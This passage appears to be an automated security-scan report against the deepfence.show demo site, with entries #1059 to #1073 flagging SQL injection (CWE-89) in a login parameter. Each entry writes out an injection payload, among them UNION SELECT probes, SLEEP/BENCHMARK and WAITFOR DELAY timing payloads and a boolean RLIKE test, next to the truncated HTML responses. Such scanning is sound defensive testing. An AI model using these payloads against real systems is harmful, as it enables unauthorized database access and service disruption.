9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #1059
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1060
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1061
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io or benchmark(50000000,MD5(1))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1062
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1063
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 31337#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1064
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1065
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ';WAITFOR DELAY '0:0:30'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1066
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1067
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1068
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1069
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #1070
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1071
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io RLIKE (SELECT (CASE WHEN (4346=4346) THEN 
0x61646d696e ELSE 0x28 END)) AND 'Txws'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1072
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1073
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
